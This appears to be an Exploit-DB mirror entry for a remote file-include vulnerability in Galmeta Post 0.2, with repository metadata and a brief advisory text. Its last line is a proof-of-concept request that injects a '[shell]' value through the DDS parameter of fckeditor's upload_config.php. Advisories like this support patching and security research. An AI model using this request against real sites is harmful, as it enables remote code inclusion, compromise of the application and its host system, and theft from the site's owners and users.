exploit-db-mirror/platforms/php/webapps/30737.txt
Offensive Security a849a67d66 Updated 01_07_2014
2014-01-07 04:09:46 +00:00

9 lines
No EOL
479 B
Text
Executable file

source: http://www.securityfocus.com/bid/26329/info
Galmeta Post is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
Galmeta Post 0.2 is vulnerable; other versions may also be affected.
http://www.example.comtmp/post_static_0-11/_lib/fckeditor/upload_config.php?DDS=[shell]